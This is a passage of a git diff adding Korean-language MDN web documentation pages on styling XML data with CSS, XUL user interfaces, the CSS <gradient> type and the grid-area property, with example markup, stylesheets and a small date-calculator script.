+<td> <code>display</code>의 다른 값들은 그 엘리먼트를 리스트 아이템 처럼 , 또는 표의 컴포넌트(component) 처럼 디스플레이 합니다.
+<p>디스플레이 유형들(types)의 완전한 리스트를 원하시면, CSS 규약의 <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-display">The display property</a>을 보세요.
+</p><p>CSS 만을 사용하면, 디스플레이의 구조가 문서의 구조와 똑 같을 것입니다.
+다른 기술을 사용해서 디스플레이 구조를 수정할 수 있습니다 — 예를 들면, XBL로 내용물을 더할 수 있으며 자바스크립트로 DOM을 수정할 수 있습니다.
+</p><p>모질라에서의 XML에 관해서 더 많은 정보를 원하시면, 이 위키의 <a href="ko/XML">XML</a> 페이지를 보세요.
+</p>
+</td></tr></tbody></table>
+<h3 id=".EC.95.A1.EC.85.98:_XML_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_XML_.EC.98.88.EC.A0.9C"> 액션: XML 예제 </h3>
+<p>새로운 XML 문서를 텍스트 파일 <code>doc9.xml</code>로 만드세요.
+아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;?xml version="1.0"?&gt;
+&lt;!-- XML demonstration --&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style9.css"?&gt;
+
+&lt;!DOCTYPE planet&gt;
+&lt;planet&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Arctic&lt;/name&gt;
+&lt;area&gt;13,000&lt;/area&gt;
+&lt;depth&gt;1,200&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Atlantic&lt;/name&gt;
+&lt;area&gt;87,000&lt;/area&gt;
+&lt;depth&gt;3,900&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Pacific&lt;/name&gt;
+&lt;area&gt;180,000&lt;/area&gt;
+&lt;depth&gt;4,000&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Indian&lt;/name&gt;
+&lt;area&gt;75,000&lt;/area&gt;
+&lt;depth&gt;3,900&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Southern&lt;/name&gt;
+&lt;area&gt;20,000&lt;/area&gt;
+&lt;depth&gt;4,500&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;/planet&gt;
+</pre></div>
+<p>새로운 CSS 문서를 텍스트 파일 <code>style9.css</code>로 만드세요.
+아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** XML demonstration ***/
+
+planet:before {
+  display: block;
+  width: 8em;
+  font-weight: bold;
+  font-size: 200%;
+  content: "Oceans";
+  margin: -.75em 0px .25em -.25em;
+  padding: .1em .25em;
+  background-color: #cdf;
+  }
+
+planet {
+  display: block;
+  margin: 2em 1em;
+  border: 4px solid #cdf;
+  padding: 0px 1em;
+  background-color: white;
+  }
+
+ocean {
+  display: block;
+  margin-bottom: 1em;
+  }
+
+name {
+  display: block;
+  font-weight: bold;
+  font-size: 150%;
+  }
+
+area {
+  display: block;
+  }
+
+area:before {
+  content: "Area: ";
+  }
+
+area:after {
+  content: " million km\B2";
+  }
+
+depth {
+  display: block;
+  }
+
+depth:before {
+  content: "Mean depth: ";
+  }
+
+depth:after {
+  content: " m";
+  }
+</pre></div>
+<p>브라우저에서 문서를 여세요:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td><div style="border: 2px solid #cdf; border-bottom: none; padding: .5em 8em 1em .5em;">
+<p style="font-size: 150%; font-weight: bold; margin: -1em 0px 0px 0px; padding: .1em .25em; background-color: #cdf; width: 8em;">Oceans</p>
+<p style="font-size: 75%; margin: .25em 0px 0px 0px; line-height: 110%;"><b>Arctic</b><br>
+Area: 13,000 million km²<br>
+Mean depth: 1,200 m</p>
+<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>Atlantic</b><br>
+Area: 87,000 million km²<br>
+Mean depth: 3,900 m</p>
+<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>. . .</b></p>
+</div>
+</td></tr></tbody></table>
+<p>이 예제에서 주의할 점:
+</p>
+<ul><li>수퍼스크립트(superscript) 2 ("million km²" 에 있는)는 CSS파일에 <code>\B2</code>로 코딩되어있는 유니코드(Unicode) 문자입니다.
+</li><li>헤딩(heading) "Oceans"는 음수인 상단 마진(negative top margin)을 갖고 있어 보더의 상단에 디스플레이 되도록 위쪽으로 이동 됩니다.
+</li></ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Challenge
+</caption><tbody><tr>
+<td> 스타일 시트를 변경해서 문서를 표로 디스플레이하게 하세요.
+<p>(수정할 예문들을 원하시면, CSS 규약의 <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">Tables</a> 챕터를 보세요.) </p>
+</td></tr></tbody></table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80"> 그럼 다음은 </h4>
+<p>이 페이지를 이해하기 어렵거나 다른 코멘트가 있다면 <a>Discussion</a>에 기여하세요.
+</p><p>이 페이지는 입문서의 마지막 페이지입니다.
+모질라에서의 CSS에 관한 더 많은 정보를 원하시면, 이 위키의 <a href="ko/CSS">CSS</a> 메인 페이지(main page)를 보세요.
+</p>{{ languages( { "en": "en/CSS/Getting_Started/XML_data", "fr": "fr/CSS/Premiers_pas/Donn\u00e9es_XML", "pl": "pl/CSS/Na_pocz\u0105tek/Dane_XML", "pt": "pt/CSS/Como_come\u00e7ar/Dados_XML" } ) }}
diff --git a/files/ko/web/css/getting_started/xul_user_interfaces/index.html b/files/ko/web/css/getting_started/xul_user_interfaces/index.html
new file mode 100644
index 0000000000..cd08f23579
--- /dev/null
+++ b/files/ko/web/css/getting_started/xul_user_interfaces/index.html
@@ -0,0 +1,315 @@
+---
+title: XUL user interfaces
+slug: Web/CSS/Getting_Started/XUL_user_interfaces
+tags:
+  - 'CSS:Getting_Started'
+translation_of: Archive/Beginner_tutorials/XUL_user_interfaces
+---
+<p>이 페이지는 사용자 인터페이스를 만드는 모질라의 특별한 언어를 설명합니다.</p>
+<p>모질라 브라우저에서 작동하는 간단한 예제를 만들어봅니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name=".EC.A0.95.EB.B3.B4:_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">정보: 사용자 인터페이스</h3>
+<p>HTML가 사용자 인터페이스에 대한 지원를 하고 있으나, 하나의 독립적인 애플리케이션을 만드는데 필요한 모든 기능을 지원하고 있지는 못합니다.</p>
+<p>모질라는 사용자 인터페이스를 만드는 특별한 언어를 제공함으로써 이런 제한사항을 극복하고 있습니다: 이 언어가 바로
+ <i>
+  XUL</i>
+ 입니다. (XML 사용자-인터페이스 언어(XML User-interface Language)로서 보통 "
+ <i>
+  줄(zool)</i>
+ "라고 읽습니다.)</p>
+<p>XUL에는 많은 흔히사용되는 사용자 인터페이스가 내장되어 있습니다. 예를 들면, XUL은 대화창(dialogue), 위저드(wizard) 같은 특별한 윈도우들 뿐만아니라 상태 바(status bar), 메뉴, 툴 바(tool bar), 그리고 브라우저까지 제공합니다.</p>
+<p>더 많은 특화된 기능들은 이 입문서에서 보아 온 다른 기술들(CSS 스타일, 자바스크립트 코드 그리고 XBL 바인딩)과 함께 XUL을 사용함으로써 만들어 낼 수 있습니다.</p>
+<p>다른 XML-기반 언어들과 같이, XUL은 CSS 스타일 시트를 사용합니다.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+  More details</caption>
+ <tbody>
+  <tr>
+   <td>XUL 사용자 인터페이스에 관한 더 많은 정보를 원하시면, 이 위키의 <a href="ko/XUL">XUL</a> 페이지를 보세요.</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_XUL_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_XUL_.EC.98.88.EC.A0.9C">액션: XUL 예제</h3>
+<p>새로운 XUL 문서를 텍스트 파일 <code>doc7.xul</code>로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet type="text/css" href="style7.css"?&gt;
+&lt;!DOCTYPE window&gt;
+
+&lt;window
+  xmlns="http&amp;58;//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+  title="CSS Getting Started - XUL demonstration"
+  onload="init();"&gt;
+
+&lt;script type="application/x-javascript" src="script7.js"/&gt;
+
+&lt;label class="head-1" value="XUL demonstration"/&gt;
+
+&lt;vbox&gt;
+
+  &lt;groupbox class="demo-group"&gt;
+    &lt;caption label="Day of week calculator"/&gt;
+    &lt;grid&gt;
+      &lt;columns&gt;
+        &lt;column/&gt;
+        &lt;column/&gt;
+        &lt;/columns&gt;
+      &lt;rows&gt;
+        &lt;row&gt;
+          &lt;label class="text-prompt" value="Date:"
+            accesskey="D" control="date-text"/&gt;
+          &lt;textbox id="date-text" type="timed"
+            timeout="750" oncommand="refresh();"/&gt;
+          &lt;/row&gt;
+        &lt;row&gt;
+          &lt;label value="Day:"/&gt;
+          &lt;hbox id="day-box"&gt;
+            &lt;label class="day" value="Sunday" disabled="true"/&gt;
+            &lt;label class="day" value="Monday" disabled="true"/&gt;
+            &lt;label class="day" value="Tuesday" disabled="true"/&gt;
+            &lt;label class="day" value="Wednesday" disabled="true"/&gt;
+            &lt;label class="day" value="Thursday" disabled="true"/&gt;
+            &lt;label class="day" value="Friday" disabled="true"/&gt;
+            &lt;label class="day" value="Saturday" disabled="true"/&gt;
+            &lt;/hbox&gt;
+          &lt;/row&gt;
+        &lt;/rows&gt;
+      &lt;/grid&gt;
+    &lt;hbox class="buttons"&gt;
+      &lt;button id="clear" label="Clear" accesskey="C"
+        oncommand="clearDate();"/&gt;
+      &lt;button id="today" label="Today" accesskey="T"
+        oncommand="setToday();"/&gt;
+      &lt;/hbox&gt;
+    &lt;/groupbox&gt;
+
+  &lt;statusbar&gt;
+    &lt;statusbarpanel id="status"/&gt;
+    &lt;/statusbar&gt;
+
+&lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>style7.css</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>/*** XUL demonstration ***/
+window {
+  -moz-box-align: start;
+  background-color: -moz-dialog;
+  font: -moz-dialog;
+  padding: 2em;
+  }
+
+.head-1 {
+  font-weight: bold;
+  font-size: 200%;
+  padding-left: 5px;
+  }
+
+
+/* the group box */
+.demo-group {
+  padding: 1em;
+  }
+
+.demo-group grid {
+  margin-bottom: 1em;
+  }
+
+.demo-group column {
+  margin-right: .5em;
+  }
+
+.demo-group row {
+  margin-bottom: .5em;
+  }
+
+.demo-group .buttons {
+  -moz-box-pack: end;
+  }
+
+
+/* the day-of-week labels */
+.day {
+  margin-left: 1em;
+  }
+
+.day[disabled] {
+  color: #777;
+  }
+
+.day:first-child {
+  margin-left: 4px;
+  }
+
+
+/* the left column labels */
+.text-prompt {
+  padding-top: .25em;
+  }
+
+
+/* the date input box */
+#date-text {
+  max-width: 8em;
+  }
+
+
+/* the status bar */
+statusbar {
+  width: 100%;
+  border: 1px inset -moz-dialog;
+  margin: 4px;
+  padding: 0px 4px;
+  }
+
+#status {
+  padding: 4px;
+  }
+
+#status[warning] {
+  color: red;
+  }
+</pre>
+</div>
+<p>새로운 텍스트 파일 <code>script7.js</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>// XUL demonstration
+
+var dateBox, dayBox, currentDay, status; // elements
+
+// called by window onLoad
+function init() {
+  dateBox = document.getElementById("date-text")
+  dayBox = document.getElementById("day-box")
+  status = document.getElementById("status")
+  setToday();
+  }
+
+// called by Clear button
+function clearDate() {
+  dateBox.value = ""
+  refresh()
+  }
+
+// called by Today button
+function setToday() {
+  var d = new Date()
+  dateBox.value = (d.getMonth() + 1)
+    + "/" + d.getDate()
+    + "/" + d.getFullYear()
+  refresh()
+  }
+
+// called by Date textbox
+function refresh() {
+  var d = dateBox.value
+  var theDate = null
+
+  showStatus(null)
+  if (d != "") {
+    try {
+      var a = d.split("/")
+      var theDate = new Date(a[2], a[0] - 1, a[1])
+      showStatus(theDate)
+      }
+    catch (ex) {}
+    }
+  setDay(theDate)
+  }
+
+// internal
+function setDay(aDate) {
+  if (currentDay) currentDay.setAttribute("disabled", "true")
+  if (aDate == null) currentDay = null
+  else {
+    var d = aDate.getDay()
+    currentDay = dayBox.firstChild
+    while (d-- &gt; 0) currentDay = currentDay.nextSibling
+    currentDay.removeAttribute("disabled")
+    }
+  dateBox.focus();
+  }
+
+function showStatus(aDate) {
+  if (aDate == null) {
+    status.removeAttribute("warning")
+    status.setAttribute("label", "")
+    }
+  else if (aDate === false || isNaN(aDate.getTime())) {
+    status.setAttribute("warning", "true")
+    status.setAttribute("label", "Date is not valid")
+    }
+  else {
+    status.removeAttribute("warning")
+    status.setAttribute("label", aDate.toLocaleDateString())
+    }
+  }
+</pre>
+</div>
+<p>정확히 의도하신대로 결과를 보고 싶으시면, 브라우저의 디폴트 씸(default theme)을 사용하세요. 다른 씸(theme)을 사용하고 계시면, 씸이 몇가지 사용자 인터페이스 스타일을 변경해서 예제가 좀 이상하게 보일 수 도 있습니다.</p>
+<p>브라우저에서 문서를 열고 인터페이스를 사용하세요.</p>
+<p>이 위키페이지는 XUL과 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다.</p>
+<p>다음과 같이 보입니다:</p>
+<table style="border: 2px outset #36b; background-color: threedface; padding: 1em; cursor: default; white-space: nowrap; margin: .5em 0;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-size: 150%; font-weight: bold; margin: 0; padding: 0;">XUL demonstration</p>
+    <div style="position: relative; border: 2px groove threedhighlight; margin-top: 1em;">
+     <p style="float: left; margin: -1em 0 0 .5em; padding: 0; background-color: threedface;">Day of week calculator</p>
+     <table style="background-color: threedface; margin: .5em; padding-right: .5em;">
+      <tbody>
+       <tr>
+        <td style="padding-right: .5em;"><u>D</u>ate:</td>
+        <td style="background-color: white; border: 1px solid #000; width: 8em; float: left; cursor: text; padding: .15em .25em;">6/27/2005</td>
+       </tr>
+       <tr>
+        <td>Day:</td>
+        <td style="color: graytext;">Sunday <span style="color: #000;">Monday</span> Tuesday Wednesday Thurdsay Friday Saturday</td>
+       </tr>
+       <tr>
+        <td> </td>
+        <td>
+         <div style="float: right; margin-top: .5em;">
+          <p><span style="border: 2px outset threedface; padding: .25em 1em;"><u>C</u>lear</span> <span style="border: 2px outset threedface; padding: .25em 1em;"><u>T</u>oday</span></p>
+         </div>
+        </td>
+       </tr>
+      </tbody>
+     </table>
+    </div>
+    <div style="border: 1px inset threedface; margin-top: 1em;">
+     <p style="margin: 0; padding: .25em .5em;">June 27, 2005</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>XUL문서는 이전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.</li>
+ <li>스크립트는 이 예제에서 중요하지 않습니다.</li>
+ <li>보게되는 대부분의 스타일은 브라우저의 씸(theme)에의해서 정해집니다.</li>
+</ul>
+<p>문서의 스타일 시트를 잘 검토해서 그안의 모든 규칙들을 확실히 이해하도록 하세요. 이해하지 못하는 규칙이 있으면, 코멘트 아웃(comment out)한 다음 브라우저를 리프레쉬해서 문서에 나타나는 효과를 보도록 하세요.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+ <caption>
+  Challenge</caption>
+ <tbody>
+  <tr>
+   <td>DOM 조사 도구(DOM Inspector tool)을 사용해서 Date textbox를 검사하세요. Date textbox는 XBL 바인딩으로 만들어진 다른 엘리먼트들로 이루어져 있습니다.
+    <p><code>html:input</code> 엘리먼트의
+     <i>
+      클래스</i>
+     를 찾아내세요. 이 엘리먼트가 실질적으로 샤용자 입력을 받고 있습니다.</p>
+    <p>이 지식을 이용해서, 스타일 시트에 규칙을 하나 더해서 Date box가 키보드 포거스를 가지게 될때 배경색이 희미한 푸른색으로 되게 하세요.(그러나 키보드 포커스가 다른 데 있을 경우 힌색이 되게 하세요.)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 예제에서 대부분의 사용자 인터페이스에 공통적으로 사용되는 표준적인 사각형 도형들을 보았습니다. 모질라는 스타일을 지정하는 CSS스타일 시트를 이용하여 도형을 만들어내는 쓰는 특별한 그래픽 언어도 지원하고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/SVG_graphics">SVG graphics</a></b></p>
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Interfaces_utilisateur_XUL", "pl": "pl/CSS/Na_pocz\u0105tek/XUL-owe_interfejsy_u\u017cytkownika" } ) }}</p>
diff --git a/files/ko/web/css/gradient/index.html b/files/ko/web/css/gradient/index.html
new file mode 100644
index 0000000000..aebfab76bf
--- /dev/null
+++ b/files/ko/web/css/gradient/index.html
@@ -0,0 +1,160 @@
+---
+title: <gradient>
+slug: Web/CSS/gradient
+tags:
+  - CSS
+  - CSS Data Type
+  - CSS Images
+  - Graphics
+  - Layout
+  - Reference
+  - 그라데이션
+  - 그레이디언트
+translation_of: Web/CSS/gradient
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;gradient&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("&lt;image&gt;")}}의 특별한 종류로 여러 색의 점진적인 변화를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-gradient.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>CSS 그레이디언트는 <a href="/ko/docs/Web/CSS/image#no_intrinsic">원본 크기가 없습니다</a>. 즉 실제 크기나 선호 크기가 없습니다. 그레이디언트의 크기는 적용하는 요소의 크기와 동일해집니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="그레이디언트_함수">그레이디언트 함수</h3>
+
+<p><code>&lt;gradient&gt;</code> 자료형은 아래 나열한 함수 중 하나를 사용해 생성합니다.</p>
+
+<h4 id="선형_그레이디언트">선형 그레이디언트</h4>
+
+<p>가상의 선을 따라 여러 색 사이를 전이합니다. {{cssxref("linear-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;선형 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 80px;
+}</pre>
+</div>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(to right,
+      red, orange, yellow, green, blue, indigo, violet);
+}</pre>
+
+<p>{{EmbedLiveSample('선형_그레이디언트', 240, 80)}}</p>
+
+<h4 id="원형_그레이디언트">원형 그레이디언트</h4>
+
+<p>중심점으로부터 바깥으로 여러 색 사이를 전이합니다. {{cssxref("radial-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-gradient"&gt;원형 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 80px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-gradient {
+  background: radial-gradient(red, yellow, rgb(30, 144, 255));
+}
+</pre>
+
+<p>{{EmbedLiveSample('원형_그레이디언트', 240, 80)}}</p>
+
+<h4 id="반복_그레이디언트">반복 그레이디언트</h4>
+
+<p>요소를 꽉 채울 때까지 그레이디언트를 필요한 만큼 반복합니다. {{cssxref("repeating-linear-gradient()")}}나 {{cssxref("repeating-radial-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="linear-repeat"&gt;반복하는 선형 그레이디언트&lt;/div&gt;
+&lt;br&gt;
+&lt;div class="radial-repeat"&gt;반복하는 원형 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 80px;
+}</pre>
+</div>
+
+<pre class="brush: css">.linear-repeat {
+  background: repeating-linear-gradient(to top left,
+      lightpink, lightpink 5px, white 5px, white 10px);
+}
+
+.radial-repeat {
+  background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px);
+}</pre>
+
+<p>{{EmbedLiveSample('반복_그레이디언트', 220, 180)}}</p>
+
+<h4 id="원뿔_그레이디언트">원뿔 그레이디언트</h4>
+
+<p>원을 따라 여러 색 사이를 전이합니다. {{cssxref("conic-gradient", "conic-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="conic-gradient"&gt;원뿔 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.conic-gradient {
+  background: conic-gradient(lightpink, white, powderblue);
+}
+</pre>
+
+<p>{{EmbedLiveSample('원뿔_그레이디언트', 240, 80)}}</p>
+
+<h2 id="보간">보간</h2>
+
+<p>색과 관련한 다른 보간과 마찬가지로, 그레이디언트도 색과 투명도가 동시에 변할 때 예상하지 못한 회색이 등장하는걸 방지하기 위해 알파 채널을 미리 곱한 색 공간을 사용해 계산합니다. 오래 된 브라우저에서 {{cssxref("&lt;color&gt;", "", "#transparent_키워드")}} 키워드를 사용할 땐 다르게 행동할 수 있음을 주의하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#gradients', '&lt;gradient&gt;')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Adds conic-gradient.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#gradients', '&lt;gradient&gt;')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.image.gradient")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/CSS/Using_CSS_gradients" title="Using gradients">CSS 그레이디언트 사용하기</a></li>
+ <li>그레이디언트 함수: {{cssxref("linear-gradient", "linear-gradient()")}}, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+</ul>
diff --git a/files/ko/web/css/grid-area/index.html b/files/ko/web/css/grid-area/index.html
new file mode 100644
index 0000000000..9daba54c7b
--- /dev/null
+++ b/files/ko/web/css/grid-area/index.html
@@ -0,0 +1,206 @@
+---
+title: grid-area
+slug: Web/CSS/grid-area
+tags:
+  - CSS
+  - CSS Grid
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/grid-area
+---
+<p><strong><code>grid-area</code></strong> 속성은 {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} and {{cssxref("grid-column-end")}} 값을 한번에 설정하는 <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> property 입니다. 해당 속성값은 grid item의 크기와 위치를 결정합니다., specifying a grid item’s size and location within the {{glossary("grid rows", "grid row")}} by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its {{glossary("grid areas", "grid area")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-area.html")}}</div>
+
+
+
+<p>If four <code>&lt;grid-line&gt;</code> values are specified, <code>grid-row-start</code> is set to the first value, <code>grid-column-start</code> is set to the second value, <code>grid-row-end</code> is set to the third value, and <code>grid-column-end</code> is set to the fourth value.</p>
+
+<p>When <code>grid-column-end</code> is omitted, if <code>grid-column-start</code> is a {{cssxref("&lt;custom-ident&gt;")}}, <code>grid-column-end</code> is set to that <code>&lt;custom-ident&gt;</code>; otherwise, it is set to <code>auto</code>.</p>
+
+<p>When <code>grid-row-end</code> is omitted, if <code>grid-row-start</code> is a <code>&lt;custom-ident&gt;</code>, <code>grid-row-end</code> is set to that <code>&lt;custom-ident&gt;</code>; otherwise, it is set to <code>auto</code>.</p>
+
+<p>When <code>grid-column-start</code> is omitted, if <code>grid-row-start</code> is a <code>&lt;custom-ident&gt;</code>, all four longhands are set to that value. Otherwise, it is set to <code>auto</code>.</p>
+
+<p>The grid-area property can also be set to a {{cssxref("&lt;custom-ident&gt;")}} which acts as a name for the area, which can then be placed using {{cssxref("grid-template-areas")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+grid-area: auto;
+grid-area: auto / auto;
+grid-area: auto / auto / auto;
+grid-area: auto / auto / auto / auto;
+
+/* &lt;custom-ident&gt; values */
+grid-area: some-grid-area;
+grid-area: some-grid-area / another-grid-area;
+
+/* &lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;? values */
+grid-area: some-grid-area 4;
+grid-area: some-grid-area 4 / 2 another-grid-area;
+
+/* span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ] values */
+grid-area: span 3;
+grid-area: span 3 / span some-grid-area;
+grid-area: 2 span / another-grid-area span;
+
+/* Global values */
+grid-area: inherit;
+grid-area: initial;
+grid-area: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement or a default span of <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>If there is a named line with the name '<code>&lt;custom-ident&gt;-start</code>'/'<code>&lt;custom-ident&gt;-end</code>', it contributes the first such line to the grid item’s placement.
+ <p class="note"><strong>Note:</strong> Named grid areas automatically generate implicit named lines of this form, so specifying <code>grid-area: foo;</code> will choose the start/end edge of that named grid area (unless another line named <code>foo-start</code>/<code>foo-end</code> was explicitly specified before it).</p>
+
+ <p>Otherwise, this is treated as if the integer <code>1</code> had been specified along with the <code>&lt;custom-ident&gt;</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>Contributes the <em>n</em>th grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid.
+ <p>If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.</p>
+
+ <p>An {{cssxref("&lt;integer&gt;")}} value of <code>0</code> is invalid.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is <em>n</em> lines from the opposite edge.
+ <p>If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.</p>
+
+ <p>If the {{cssxref("&lt;integer&gt;")}} is omitted, it defaults to <code>1</code>. Negative integers or 0 are invalid.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_content">CSS content</h3>
+
+<pre class="brush: css; highlight[9]">#grid {
+  display: grid;
+  height: 100px;
+  grid-template: repeat(4, 1fr) / 50px 100px;
+}
+
+#item1 {
+  background-color: lime;
+  grid-area: 2 / 2 / auto / span 3;
+}
+
+#item2 {
